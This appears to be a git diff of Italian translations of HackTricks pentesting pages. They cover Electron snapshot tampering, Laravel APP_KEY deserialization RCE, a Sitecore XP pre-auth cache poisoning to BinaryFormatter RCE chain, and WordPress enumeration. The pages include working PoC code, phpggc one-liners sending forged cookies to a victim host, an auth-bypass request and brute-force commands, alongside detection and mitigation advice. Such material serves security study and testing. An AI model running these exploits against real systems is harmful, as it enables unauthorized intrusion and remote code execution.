- Persistence: Replacing the snapshot in a user-writable install typically survives app restarts and looks like a signed, legitimate app.
- Chromium browsers: The same tampering concept applies to Chrome/derivatives installed in user-writable locations. Chrome has other integrity mitigations but explicitly excludes physically local attacks from its threat model.
Notes and considerations
- Bypass dell'integrità/della firma: I file snapshot non vengono trattati come eseguibili nativi dai controlli di code-signing e (storicamente) non erano coperti dai fuse di Electron o dai controlli di integrità di Chromium.
- Persistenza: Sostituire lo snapshot in un'installazione scrivibile dall'utente di solito sopravvive ai riavvii dell'app e appare come un'app firmata e legittima.
- Chromium browsers: Lo stesso concetto di manomissione si applica a Chrome/derivati installati in percorsi scrivibili dall'utente. Chrome ha altre mitigazioni di integrità ma esclude esplicitamente gli attacchi fisicamente locali dal suo modello di minaccia.
Rilevamento e mitigazioni
- Treat snapshots as executable content and include them in integrity enforcement (CVE-2025-55305 fix).
- Prefer admin-writable-only install locations; baseline and monitor hashes for v8_context_snapshot.bin and browser_v8_context_snapshot.bin.
- Detect early-runtime builtin clobbering and unexpected snapshot changes; alert when deserialized snapshots do not match expected values.
Detection and mitigations
- Tratta gli snapshot come contenuto eseguibile e includili nell'applicazione delle misure di integrità (CVE-2025-55305 fix).
- Preferire percorsi di installazione scrivibili solo dall'amministratore; stabilire una baseline e monitorare gli hash per v8_context_snapshot.bin e browser_v8_context_snapshot.bin.
- Rilevare la sovrascrittura dei builtin in fase di early-runtime e cambiamenti imprevisti degli snapshot; generare allarmi quando gli snapshot deserializzati non corrispondono ai valori attesi.
## **References**
## **Riferimenti**
- [Trail of Bits: Subverting code integrity checks to locally backdoor Signal, 1Password, Slack, and more](https://blog.trailofbits.com/2025/09/03/subverting-code-integrity-checks-to-locally-backdoor-signal-1password-slack-and-more/)
- [Electron fuses](https://www.electronjs.org/docs/latest/tutorial/fuses)

88
src/network-services-pentesting/pentesting-web/laravel.md
View File

@ -8,7 +8,7 @@ Leggi informazioni a riguardo qui: [https://stitcher.io/blog/unsafe-sql-function
---
## APP_KEY e struttura interna della crittografia (Laravel >=5.6)
## APP_KEY & Dettagli interni della crittografia (Laravel \u003e=5.6)
Laravel usa AES-256-CBC (o GCM) con integrità HMAC sotto il cofano (`Illuminate\\Encryption\\Encrypter`).
Il testo cifrato grezzo che viene infine **inviato al client** è **Base64 di un oggetto JSON** come:
@ -20,9 +20,9 @@ Il testo cifrato grezzo che viene infine **inviato al client** è **Base64 di un
"tag" : "" // only used for AEAD ciphers (GCM)
}
```
`encrypt($value, $serialize=true)` serializza il plaintext per impostazione predefinita, whereas
`decrypt($payload, $unserialize=true)` **eseguirà automaticamente `unserialize()`** sul valore decifrato.
Pertanto **qualsiasi attacker che conosca il secret di 32 byte `APP_KEY` può creare un oggetto PHP serializzato cifrato e ottenere RCE tramite i magic methods (`__wakeup`, `__destruct`, …)**.
`encrypt($value, $serialize=true)` esegue `serialize()` sul plaintext per impostazione predefinita, mentre
`decrypt($payload, $unserialize=true)` **esegue automaticamente `unserialize()`** sul valore decriptato.
Pertanto **any attacker che conosce il secret di 32 byte `APP_KEY` può craftare un encrypted PHP serialized object e ottenere RCE via magic methods (`__wakeup`, `__destruct`, …)**.
Minimal PoC (framework ≥9.x):
```php
@ -31,7 +31,7 @@ use Illuminate\Support\Facades\Crypt;
$chain = base64_decode('<phpggc-payload>'); // e.g. phpggc Laravel/RCE13 system id -b -f
$evil = Crypt::encrypt($chain); // JSON->Base64 cipher ready to paste
```
Inietta la stringa prodotta in qualsiasi sink `decrypt()` vulnerabile (route param, cookie, session, …).
Inietta la stringa prodotta in qualsiasi sink vulnerabile `decrypt()` (route param, cookie, session, …).
---
@ -47,7 +47,7 @@ laravel_crypto_killer.py decrypt -k <APP_KEY> -v <cipher>
# Try a word-list of keys against a token (offline)
laravel_crypto_killer.py bruteforce -v <cipher> -kf appkeys.txt
```
Lo script supporta in modo trasparente sia payload CBC che GCM e rigenera il campo HMAC/tag.
Lo script supporta in modo trasparente sia i payloads CBC che GCM e rigenera il campo HMAC/tag.
---
@ -59,13 +59,13 @@ Lo script supporta in modo trasparente sia payload CBC che GCM e rigenera il cam
| Snipe-IT ≤v6 (CVE-2024-48987) | `XSRF-TOKEN` cookie quando `Passport::withCookieSerialization()` è abilitato | Laravel/RCE9 |
| Crater (CVE-2024-55556) | `SESSION_DRIVER=cookie` → `laravel_session` cookie | Laravel/RCE15 |
Il workflow di exploitation è sempre:
1. Ottenere o brute-force la `APP_KEY` di 32 byte.
2. Creare una gadget chain con **PHPGGC** (ad esempio `Laravel/RCE13`, `Laravel/RCE9` o `Laravel/RCE15`).
Il flusso di sfruttamento è sempre:
1. Ottenere o determinare tramite brute-force la `APP_KEY` a 32 byte.
2. Costruire una gadget chain con **PHPGGC** (per esempio `Laravel/RCE13`, `Laravel/RCE9` o `Laravel/RCE15`).
3. Cifrare il gadget serializzato con **laravel_crypto_killer.py** e la `APP_KEY` recuperata.
4. Consegnare il ciphertext al sink `decrypt()` vulnerabile (route parameter, cookie, session …) per attivare **RCE**.
4. Consegnare il ciphertext allo sink vulnerabile `decrypt()` (route parameter, cookie, session …) per innescare **RCE**.
Di seguito sono riportati one-liners concisi che dimostrano l'intero percorso d'attacco per ciascun CVE reale menzionato sopra:
Di seguito sono riportati comandi one-liner concisi che mostrano l'intero percorso d'attacco per ciascun CVE reale menzionato sopra:
```bash
# Invoice Ninja ≤5 – /route/{hash}
php8.2 phpggc Laravel/RCE13 system id -b -f | \
@ -82,40 +82,40 @@ php8.2 phpggc Laravel/RCE15 system id -b > payload.bin
./laravel_crypto_killer.py encrypt -k <APP_KEY> -v payload.bin --session_cookie=<orig_hash> > forged.txt
curl -H "Cookie: laravel_session=<orig>; <cookie_name>=$(cat forged.txt)" https://victim/login
```
## Mass APP_KEY discovery via cookie brute-force
## Scoperta massiva di APP_KEY via cookie brute-force
Perché ogni risposta Laravel fresca imposta almeno 1 cookie crittografato (`XSRF-TOKEN` and usually `laravel_session`), **scanner pubblici Internet (Shodan, Censys, …) leak milioni di testi cifrati** che possono essere attaccati offline.
Poiché ogni risposta fresca di Laravel imposta almeno un cookie cifrato (`XSRF-TOKEN` e di solito `laravel_session`), **i scanner pubblici di Internet (Shodan, Censys, …) leak milioni di ciphertext** che possono essere attaccati offline.
Key findings of the research published by Synacktiv (2024-2025):
* Dataset July 2024 » 580 k tokens, **3.99 % keys cracked** (≈23 k)
* Dataset May 2025 » 625 k tokens, **3.56 % keys cracked**
* >1 000 server ancora vulnerabili al legacy CVE-2018-15133 perché i tokens contengono direttamente dati serializzati.
* Ampio riuso di chiavi – le Top-10 APP_KEYs sono default hard-coded fornite con template commerciali Laravel (UltimatePOS, Invoice Ninja, XPanel, …).
Risultati chiave della ricerca pubblicata da Synacktiv (2024-2025):
* Dataset Luglio 2024 » 580 k tokens, **3.99 % chiavi craccate** (≈23 k)
* Dataset Maggio 2025 » 625 k tokens, **3.56 % chiavi craccate**
* >1 000 server ancora vulnerabili alla legacy CVE-2018-15133 perché i token contengono direttamente dati serializzati.
* Ampio riutilizzo di chiavi – le Top-10 APP_KEY sono default hard-coded fornite con template commerciali Laravel (UltimatePOS, Invoice Ninja, XPanel, …).
Lo strumento Go privato **nounours** spinge il throughput di AES-CBC/GCM bruteforce a ~1.5 billion tries/s, riducendo il cracking dell'intero dataset a <2 minuti.
Lo strumento Go privato **nounours** spinge il throughput di bruteforce AES-CBC/GCM a ~1.5 billion tries/s, riducendo il cracking dell'intero dataset a <2 minuti.
## CVE-2024-52301 – HTTP argv/env override → auth bypass
Quando PHP ha `register_argc_argv=On` (tipico in molte distro), PHP espone un array `argv` per le richieste HTTP derivato dalla query string. Versioni recenti di Laravel parseavano questi argomenti “CLI-like” e rispettavano `--env=<value>` a runtime. Questo permette di cambiare l'ambiente del framework per la richiesta HTTP corrente semplicemente aggiungendolo a qualsiasi URL:
Quando PHP ha `register_argc_argv=On` (tipico su molte distro), PHP espone un array `argv` per le richieste HTTP derivato dalla query string. Versioni recenti di Laravel parseavano questi argomenti “CLI-like” e onoravano `--env=<value>` a runtime. Questo permette di cambiare l'environment del framework per la richiesta HTTP corrente semplicemente aggiungendolo a qualsiasi URL:
- Quick check:
- Visita `https://target/?--env=local` o qualsiasi stringa e cerca cambiamenti dipendenti dall'ambiente (banner di debug, footer, errori dettagliati). Se la stringa è riflessa, l'override sta funzionando.
- Verifica rapida:
- Visita `https://target/?--env=local` o qualsiasi stringa e cerca cambiamenti dipendenti dall'environment (debug banners, footer, errori verbose). Se la stringa viene riflessa, l'override funziona.
- Impact example (business logic trusting a special env):
- Se l'app contiene rami tipo `if (app()->environment('preprod')) { /* bypass auth */ }`, puoi autenticarti senza credenziali valide inviando il POST di login a:
- Esempio di impatto (business logic che si affida a un env speciale):
- Se l'app contiene rami come `if (app()->environment('preprod')) { /* bypass auth */ }`, puoi autenticarti senza credenziali valide inviando il POST di login a:
- `POST /login?--env=preprod`
- Notes:
- Note:
- Funziona per richiesta, senza persistenza.
- Richiede `register_argc_argv=On` e una versione vulnerabile di Laravel che legge argv per HTTP.
- Primitiva utile per far emergere errori più verbosi in env “debug” o per attivare percorsi di codice condizionati dall'ambiente.
- Primitiva utile per far emergere errori più verbosi in env “debug” o per attivare percorsi di codice protetti dall'environment.
- Mitigations:
- Mitigazioni:
- Disabilitare `register_argc_argv` per PHP-FPM/Apache.
- Aggiornare Laravel per ignorare argv sulle richieste HTTP e rimuovere qualsiasi assunzione di fiducia legata a `app()->environment()` nelle route di produzione.
- Aggiornare Laravel per ignorare argv nelle richieste HTTP e rimuovere qualsiasi assunzione di fiducia legata a `app()->environment()` nelle route di produzione.
Minimal exploitation flow (Burp):
Flusso minimale di exploitation (Burp):
```http
POST /login?--env=preprod HTTP/1.1
Host: target
@ -125,25 +125,25 @@ email=a@b.c&password=whatever&remember=0xdf
```
---
## Trucchi Laravel
## Trucchi di Laravel
### Modalità di debug
### Modalità di debugging
Se Laravel è in **modalità di debug** potrai accedere al **codice** e ai **dati sensibili**.\
Ad esempio `http://127.0.0.1:8000/profiles`:
Se Laravel è in **modalità di debugging** potrai accedere al **code** e ai **dati sensibili**.\
Per esempio `http://127.0.0.1:8000/profiles`:
![](<../../images/image (1046).png>)
Questo è solitamente necessario per sfruttare altre RCE/CVE relative a Laravel.
Questo è solitamente necessario per sfruttare altre Laravel RCE CVEs.
### Fingerprinting & endpoint dev esposti
### Fingerprinting & endpoint di sviluppo esposti
Controlli rapidi per identificare uno stack Laravel e strumenti dev pericolosi esposti in produzione:
Controlli rapidi per identificare uno stack Laravel e strumenti di sviluppo pericolosi esposti in produzione:
- `/_ignition/health-check` → Ignition presente (debug tool usato per CVE-2021-3129). Se raggiungibile senza autenticazione, l'app potrebbe essere in modalità di debug o mal configurata.
- `/_debugbar` → asset di Laravel Debugbar; spesso indica la modalità di debug.
- `/_ignition/health-check` → Ignition presente (debug tool usato da CVE-2021-3129). Se raggiungibile senza autenticazione, l'app potrebbe essere in debug o mal configurata.
- `/_debugbar` → asset di Laravel Debugbar; spesso indica modalità di debug.
- `/telescope` → Laravel Telescope (dev monitor). Se pubblico, aspettati ampia divulgazione di informazioni e possibili azioni.
- `/horizon` → dashboard delle code; divulgazione della versione e talvolta azioni protette da CSRF.
- `/horizon` → Queue dashboard; divulgazione della versione e talvolta azioni protette da CSRF.
- `X-Powered-By`, cookie `XSRF-TOKEN` e `laravel_session`, e le pagine di errore Blade aiutano anche nel fingerprinting.
```bash
# Nuclei quick probe
@ -153,11 +153,11 @@ for p in _ignition/health-check _debugbar telescope horizon; do curl -sk https:/
```
### .env
Laravel salva l'APP che usa per crittografare i cookies e altre credenziali in un file chiamato `.env` che può essere accessibile tramite un path traversal: `/../.env`
Laravel salva l'APP che usa per cifrare i cookie e altre credenziali in un file chiamato `.env` che può essere accessibile tramite un path traversal: `/../.env`
Laravel mostrerà anche queste informazioni nella pagina di debug (che appare quando Laravel riscontra un errore e il debug è attivato).
Laravel mostrerà anche queste informazioni nella pagina di debug (che appare quando Laravel riscontra un errore e la modalità debug è attivata).
Usando la APP_KEY segreta di Laravel puoi decifrare e ricrittografare i cookies:
Usando il segreto APP_KEY di Laravel puoi decifrare e ri-crittografare i cookie:
### Decrypt Cookie
```python
@ -220,11 +220,11 @@ encrypt(b'{"data":"a:6:{s:6:\"_token\";s:40:\"RYB6adMfWWTSNXaDfEw74ADcfMGIFC2Swe
```
### Laravel Deserialization RCE
Versioni vulnerabili: 5.5.40 and 5.6.x through 5.6.29 ([https://www.cvedetails.com/cve/CVE-2018-15133/](https://www.cvedetails.com/cve/CVE-2018-15133/))
Versioni vulnerabili: 5.5.40 e 5.6.x fino a 5.6.29 ([https://www.cvedetails.com/cve/CVE-2018-15133/](https://www.cvedetails.com/cve/CVE-2018-15133/))
Qui puoi trovare informazioni sulla vulnerabilità di deserialization: [https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/](https://labs.withsecure.com/archive/laravel-cookie-forgery-decryption-and-rce/)
Puoi testarla ed exploitare usando [https://github.com/kozmic/laravel-poc-CVE-2018-15133](https://github.com/kozmic/laravel-poc-CVE-2018-15133)\
Puoi testarla e sfruttarla usando [https://github.com/kozmic/laravel-poc-CVE-2018-15133](https://github.com/kozmic/laravel-poc-CVE-2018-15133)\
Oppure puoi anche sfruttarla con metasploit: `use unix/http/laravel_token_unserialize_exec`
### CVE-2021-3129

48
src/network-services-pentesting/pentesting-web/sitecore/README.md
View File

@ -2,10 +2,10 @@
{{#include ../../../banners/hacktricks-training.md}}
Questa pagina riassume una catena d'attacco pratica contro Sitecore XP 10.4.1 che passa da un pre‑auth XAML handler a HTML cache poisoning e, tramite un flusso UI autenticato, a RCE attraverso BinaryFormatter deserialization. Le tecniche si generalizzano a versioni/componenti Sitecore simili e forniscono primitive concrete per testare, rilevare e harden.
Questa pagina riassume una catena di attacco pratica contro Sitecore XP 10.4.1 che pivota da un pre‑auth XAML handler a HTML cache poisoning e, tramite un authenticated UI flow, a RCE tramite BinaryFormatter deserialization. Le tecniche si generalizzano a versioni/componenti simili di Sitecore e forniscono primitive concrete per testare, rilevare e rinforzare.
- Prodotto interessato testato: Sitecore XP 10.4.1 rev. 011628
- Corretto in: KB1003667, KB1003734 (giugno/luglio 2025)
- Risolto in: KB1003667, KB1003734 (giugno/luglio 2025)
Vedi anche:
@ -27,7 +27,7 @@ Accessibile tramite:
```
GET /-/xaml/Sitecore.Shell.Xaml.WebControl
```
L'albero dei controlli include AjaxScriptManager che, nelle richieste di evento, legge campi attacker‑controlled e invoca in modo riflessivo metodi sui controlli mirati:
L'albero dei controlli include AjaxScriptManager che, nelle richieste di evento, legge campi controllati dall'attaccante e invoca riflessivamente metodi sui controlli mirati:
```csharp
// AjaxScriptManager.OnPreRender
string clientId = page.Request.Form["__SOURCE"]; // target control
@ -42,7 +42,7 @@ if (m != null) m.Invoke(this, e.Parameters);
// Alternate branch for XML-based controls
if (control is XmlControl && AjaxScriptManager.DispatchXmlControl(control, args)) {...}
```
Osservazione chiave: la pagina XAML include un'istanza di XmlControl (xmlcontrol:GlobalHeader). Sitecore.XmlControls.XmlControl deriva da Sitecore.Web.UI.WebControl (una classe Sitecore), che applica la lista consentita ReflectionUtil.Filter (Sitecore.*), sbloccando metodi su Sitecore WebControl.
Osservazione chiave: la pagina XAML include un'istanza XmlControl (xmlcontrol:GlobalHeader). Sitecore.XmlControls.XmlControl deriva da Sitecore.Web.UI.WebControl (una classe Sitecore), la quale applica l'allow‑list di ReflectionUtil.Filter (Sitecore.*), sbloccando metodi su Sitecore WebControl.
Metodo magico per il poisoning:
```csharp
@ -52,9 +52,9 @@ HtmlCache c = CacheManager.GetHtmlCache(Sitecore.Context.Site);
if (c != null) c.SetHtml(cacheKey, html, this._cacheTimeout);
}
```
Poiché possiamo indirizzare xmlcontrol:GlobalHeader e richiamare per nome i metodi di Sitecore.Web.UI.WebControl, otteniamo una primitiva pre-auth per la scrittura arbitraria di HtmlCache.
Poiché possiamo indirizzare xmlcontrol:GlobalHeader e chiamare i metodi di Sitecore.Web.UI.WebControl per nome, otteniamo una pre‑auth arbitrary HtmlCache write primitive.
### Richiesta PoC (CVE-2025-53693)
### PoC request (CVE-2025-53693)
```
POST /-/xaml/Sitecore.Shell.Xaml.WebControl HTTP/2
Host: target
@ -68,7 +68,7 @@ Note:
## Cosa avvelenare: costruzione della chiave della cache
Costruzione tipica della chiave di HtmlCache usata dai controlli Sitecore:
Tipica costruzione della chiave HtmlCache usata dai controlli Sitecore:
```csharp
public virtual string GetCacheKey(){
SiteContext site = Sitecore.Context.Site;
@ -96,15 +96,15 @@ __PARAMETERS=AddToCache("/layouts/Sample+Sublayout.ascx_%23lang:EN_%23login:Fals
```
## Enumerazione degli elementi cacheabili e delle dimensioni “vary by”
Se ItemService è (mis)esposto anonimamente, puoi enumerare i componenti cacheabili per ricavare chiavi esatte.
Se ItemService è (in)esposto anonimamente, puoi enumerare i componenti cacheabili per ricavare chiavi esatte.
Sonda rapida:
Prova rapida:
```
GET /sitecore/api/ssc/item
// 404 Sitecore error body → exposed (anonymous)
// 403 → blocked/auth required
```
Elenca gli elementi cacheable e i flags:
Elenca gli elementi memorizzabili nella cache e i flag:
```
GET /sitecore/api/ssc/item/search?term=layouts&fields=&page=0&pagesize=100
```
@ -114,7 +114,7 @@ GET /sitecore/api/ssc/item/search?term=_templatename:Device&fields=ItemName&page
```
### Side‑channel enumeration under restricted identities (CVE-2025-53694)
Anche quando ItemService impersona un account limitato (es., ServicesAPI) e restituisce un array Results vuoto, TotalCount può comunque riflettere pre‑ACL Solr hits. Puoi brute‑force item groups/ids con wildcards e osservare TotalCount convergere per mappare contenuti e dispositivi interni:
Anche quando ItemService impersona un account limitato (e.g., ServicesAPI) e restituisce un array Results vuoto, TotalCount può comunque riflettere i hit Solr pre-ACL. Puoi brute-force item groups/ids con wildcard e osservare TotalCount convergere per mappare contenuti e dispositivi interni:
```
GET /sitecore/api/ssc/item/search?term=%2B_templatename:Device;%2B_group:a*&fields=&page=0&pagesize=100&includeStandardTemplateFields=true
→ "TotalCount": 3
@ -131,14 +131,14 @@ Sink:
byte[] b = Convert.FromBase64String(data);
return new BinaryFormatter().Deserialize(new MemoryStream(b));
```
Raggiungibile tramite lo step di pipeline convertToRuntimeHtml ConvertWebControls, che cerca un elemento con id {iframeId}_inner e effettua la decodifica base64 e la deserializzazione, quindi inietta la stringa risultante nell'HTML:
Accessibile tramite lo step della pipeline convertToRuntimeHtml ConvertWebControls, che cerca un elemento con id {iframeId}_inner e decodifica in base64 + deserializza il valore, quindi inietta la stringa risultante nell'HTML:
```csharp
HtmlNode inner = doc.SelectSingleNode("//*[@id='"+id+"_inner']");
string text2 = inner?.GetAttributeValue("value", "");
if (text2.Length > 0)
htmlNode2.InnerHtml = StringUtil.GetString(Sitecore.Convert.Base64ToObject(text2) as string);
```
Trigger (autenticato, con privilegi Content Editor). La dialog FixHtml invoca convertToRuntimeHtml. End‑to‑end senza clic sull'interfaccia utente:
Trigger (autenticato, diritti Content Editor). La dialog FixHtml chiama convertToRuntimeHtml. End-to-end senza clic sull'UI:
```
// 1) Start Content Editor
GET /sitecore/shell/Applications/Content%20Editor.aspx
@ -159,7 +159,7 @@ __PARAMETERS=edithtml:fix&...&ctl00$ctl00$ctl05$Html=
// 4) Visit FixHtml to trigger ConvertWebControls → deserialization
GET /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.FixHtml.aspx?hdl=...
```
Generazione del gadget: usare ysoserial.net / YSoNet con BinaryFormatter per produrre un payload base64 che restituisce una stringa. Il contenuto della stringa viene scritto nell'HTML da ConvertWebControls dopo l'esecuzione degli effetti collaterali della deserializzazione.
Gadget generation: use ysoserial.net / YSoNet with BinaryFormatter to produce a base64 payload returning a string. The string’s contents are written into the HTML by ConvertWebControls after deserialization side‑effects execute.
{{#ref}}
@ -168,22 +168,22 @@ Generazione del gadget: usare ysoserial.net / YSoNet con BinaryFormatter per pro
## Catena completa
1) Un attaccante Pre‑auth avvelena HtmlCache con HTML arbitrario invocando riflessivamente WebControl.AddToCache tramite XAML AjaxScriptManager.
2) L'HTML avvelenato serve JavaScript che spinge un utente Content Editor autenticato attraverso il flusso FixHtml.
3) La pagina FixHtml innesca convertToRuntimeHtml → ConvertWebControls, che deserializza base64 controllato dall'attaccante tramite BinaryFormatter → RCE con l'identità dell'app pool di Sitecore.
1) Pre‑auth attacker avvelena HtmlCache con HTML arbitrario invocando riflessivamente WebControl.AddToCache tramite XAML AjaxScriptManager.
2) L'HTML avvelenato serve JavaScript che spinge un Content Editor autenticato attraverso il flusso FixHtml.
3) La pagina FixHtml attiva convertToRuntimeHtml → ConvertWebControls, che deserializza base64 controllato dall'attaccante tramite BinaryFormatter → RCE sotto l'identità dell'app pool di Sitecore.
## Rilevamento
- Pre‑auth XAML: richieste a `/-/xaml/Sitecore.Shell.Xaml.WebControl` con `__ISEVENT=1`, `__SOURCE` sospetto e `__PARAMETERS=AddToCache(...)`.
- ItemService probing: picchi di query wildcard a `/sitecore/api/ssc`, `TotalCount` elevato con `Results` vuoti.
- Tentativi di deserializzazione: `EditHtml.aspx` seguito da `FixHtml.aspx?hdl=...` e base64 insolitamente grande nei campi HTML.
- Pre‑auth XAML: richieste a `/-/xaml/Sitecore.Shell.Xaml.WebControl` con `__ISEVENT=1`, `__SOURCE` sospetto e `__PARAMETERS=AddToCache(...)`.
- ItemService probing: picchi di query wildcard a `/sitecore/api/ssc`, grande `TotalCount` con `Results` vuoti.
- Deserialization attempts: `EditHtml.aspx` seguito da `FixHtml.aspx?hdl=...` e base64 insolitamente grande nei campi HTML.
## Mitigazioni
- Applicare le patch Sitecore KB1003667 e KB1003734; limitare/disabilitare gli handler XAML pre‑auth o aggiungere una validazione rigorosa; monitorare e rate‑limitare `/-/xaml/`.
- Rimuovere/sostituire BinaryFormatter; limitare l'accesso a convertToRuntimeHtml o applicare una forte validazione lato server dei flussi di modifica HTML.
- Restringere l'accesso a `/sitecore/api/ssc` al loopback o a ruoli autenticati; evitare pattern di impersonazione che causano side channel basati su `TotalCount`.
- Applicare MFA/least privilege per gli utenti Content Editor; rivedere la CSP per ridurre l'impatto del JS steering derivante dalla cache poisoning.
- Applicare le patch Sitecore KB1003667 e KB1003734; limitare/disabilitare i handler XAML pre‑auth o aggiungere validazione stretta; monitorare e rate‑limitare `/-/xaml/`.
- Rimuovere/sostituire BinaryFormatter; limitare l'accesso a convertToRuntimeHtml o imporre forte validazione server‑side dei flussi di editing HTML.
- Restringere `/sitecore/api/ssc` al loopback o a ruoli autenticati; evitare pattern di impersonation che creano side channel basati su `TotalCount`.
- Applicare MFA/minimi privilegi per gli utenti Content Editor; rivedere CSP per ridurre l'impatto del JS steering da cache poisoning.
## References

298
src/network-services-pentesting/pentesting-web/wordpress.md
View File

@ -4,47 +4,47 @@
## Informazioni di base
- **I file caricati** vanno in: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt`
- **I file dei theme si trovano in /wp-content/themes/,** quindi se modifichi qualche php del theme per ottenere RCE probabilmente userai quel percorso. Per esempio: usando **theme twentytwelve** puoi **accedere** al file **404.php** in: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
- **Uploaded** files go to: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt`
- **Themes files can be found in /wp-content/themes/,** quindi se modifichi qualche php del tema per ottenere RCE probabilmente userai quel percorso. Per esempio: Using **theme twentytwelve** you can **access** the **404.php** file in: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
- **Un altro URL utile potrebbe essere:** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
- **Another useful url could be:** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
- In **wp-config.php** puoi trovare la password root del database.
- Percorsi di login di default da controllare: _**/wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/**_
- Percorsi di login di default da verificare: _**/wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/**_
### **File principali di WordPress**
### **Main WordPress Files**
- `index.php`
- `license.txt` contiene informazioni utili come la versione di WordPress installata.
- `wp-activate.php` è usato per il processo di attivazione via email durante la creazione di un nuovo sito WordPress.
- `wp-activate.php` è usato per il processo di attivazione via email durante la configurazione di un nuovo sito WordPress.
- Cartelle di login (possono essere rinominate per nasconderle):
- `/wp-admin/login.php`
- `/wp-admin/wp-login.php`
- `/login.php`
- `/wp-login.php`
- `xmlrpc.php` è un file che rappresenta una feature di WordPress che permette la trasmissione di dati usando HTTP come meccanismo di trasporto e XML come meccanismo di codifica. Questo tipo di comunicazione è stato sostituito dalla WordPress [REST API](https://developer.wordpress.org/rest-api/reference).
- La cartella `wp-content` è la directory principale dove sono memorizzati plugin e theme.
- `wp-content/uploads/` è la directory dove sono memorizzati i file caricati sulla piattaforma.
- `wp-includes/` è la directory dove sono conservati i file core, come certificati, font, file JavaScript e widget.
- `wp-sitemap.xml` Nelle versioni di WordPress 5.5 e successive, WordPress genera una sitemap XML con tutti i post pubblici e i tipi di post e tassonomie pubblicamente interrogabili.
- `xmlrpc.php` è un file che rappresenta una feature di WordPress che permette di trasmettere dati con HTTP come meccanismo di trasporto e XML come meccanismo di codifica. Questo tipo di comunicazione è stato sostituito dalla WordPress [REST API](https://developer.wordpress.org/rest-api/reference).
- La cartella `wp-content` è la directory principale dove sono memorizzati plugin e temi.
- `wp-content/uploads/` è la directory dove vengono salvati i file caricati sulla piattaforma.
- `wp-includes/` è la directory dove sono memorizzati i file core, come certificati, font, file JavaScript e widget.
- `wp-sitemap.xml` Nelle versioni di WordPress 5.5 e successive, WordPress genera un file sitemap XML con tutti i post pubblici e i tipi di post e tassonomie pubblicamente interrogabili.
**Post exploitation**
**Post-exploitation**
- Il file `wp-config.php` contiene le informazioni necessarie a WordPress per connettersi al database, come nome del database, host del database, username e password, authentication keys and salts e il prefisso delle tabelle del database. Questo file di configurazione può anche essere utilizzato per attivare la modalità DEBUG, utile per il troubleshooting.
- Il file `wp-config.php` contiene le informazioni richieste da WordPress per connettersi al database come il nome del database, host del database, username e password, authentication keys and salts, e il prefisso delle tabelle del database. Questo file di configurazione può anche essere usato per attivare la modalità DEBUG, utile per il troubleshooting.
### Permessi utenti
- **Administrator**
- **Editor**: Pubblica e gestisce i propri post e quelli degli altri
- **Editor**: Pubblica e gestisce i propri e gli altrui post
- **Author**: Pubblica e gestisce i propri post
- **Contributor**: Scrive e gestisce i propri post ma non può pubblicarli
- **Subscriber**: Naviga i post e modifica il proprio profilo
- **Subscriber**: Visualizza i post e modifica il proprio profilo
## **Passive Enumeration**
## **Enumerazione passiva**
### **Ottenere la versione di WordPress**
Controlla se riesci a trovare i file `/license.txt` o `/readme.html`
Verifica se riesci a trovare i file `/license.txt` o `/readme.html`
All'interno del **codice sorgente** della pagina (esempio da [https://wordpress.org/support/article/pages/](https://wordpress.org/support/article/pages/)):
@ -56,11 +56,11 @@ curl https://victim.com/ | grep 'content="WordPress'
![](<../../images/image (1111).png>)
- file di link CSS
- File CSS collegati
![](<../../images/image (533).png>)
- file JavaScript
- File JavaScript
![](<../../images/image (524).png>)
@ -79,17 +79,17 @@ curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/supp
```
## Enumerazione attiva
### Plugin e Theme
### Plugins and Themes
Probabilmente non riuscirai a trovare tutti i Plugin e Theme possibili. Per scoprirli tutti, dovrai **eseguire attivamente un Brute Force su una lista di Plugin e Theme** (si spera esistano strumenti automatici che contengono queste liste).
Probabilmente non riuscirai a trovare tutti i Plugins e Themes possibili. Per scoprirli tutti, dovrai **eseguire attivamente Brute Force su una lista di Plugins and Themes** (per nostra fortuna esistono strumenti automatici che contengono queste liste).
### Utenti
- **ID Brute:** Ottieni utenti validi da un sito WordPress effettuando un Brute Force sugli ID utente:
- **ID Brute:** Ottieni utenti validi da un sito WordPress effettuando Brute Forcing sugli ID utente:
```bash
curl -s -I -X GET http://blog.example.com/?author=1
```
Se le risposte sono **200** o **30X**, significa che l'id è **valido**. Se la risposta è **400**, significa che l'id è **non valido**.
Se le risposte sono **200** o **30X**, significa che l'id è **valido**. Se la risposta è **400**, allora l'id è **invalido**.
- **wp-json:** Puoi anche provare a ottenere informazioni sugli utenti interrogando:
```bash
@ -99,19 +99,19 @@ Un altro endpoint `/wp-json/` che può rivelare alcune informazioni sugli utenti
```bash
curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
```
Nota che questo endpoint espone solo gli utenti che hanno pubblicato un post. **Verranno fornite solo informazioni sugli utenti che hanno questa funzionalità abilitata**.
Note that this endpoint only exposes users that have made a post. **Verranno fornite solo informazioni sugli utenti che hanno questa funzionalità abilitata**.
Nota anche che **/wp-json/wp/v2/pages** potrebbe leakare indirizzi IP.
Also note that **/wp-json/wp/v2/pages** could leak IP addresses.
- **Login username enumeration**: Quando effettui il login in **`/wp-login.php`** il **messaggio** è **diverso** e indica se lo **username** esiste o meno.
- **Login username enumeration**: Quando effettui il login in **`/wp-login.php`**, il **messaggio** è **diverso** a seconda che l'**username** esista o meno.
### XML-RPC
Se `xml-rpc.php` è attivo puoi eseguire un credentials brute-force o usarlo per lanciare attacchi DoS verso altre risorse. (Puoi automatizzare questo processo[ using this](https://github.com/relarizky/wpxploit) per esempio).
Se `xml-rpc.php` è attivo puoi eseguire un brute-force delle credentials o usarlo per lanciare attacchi DoS verso altre risorse. (Puoi automatizzare questo processo[ using this](https://github.com/relarizky/wpxploit) for example).
Per verificare se è attivo prova ad accedere a _**/xmlrpc.php**_ e invia questa richiesta:
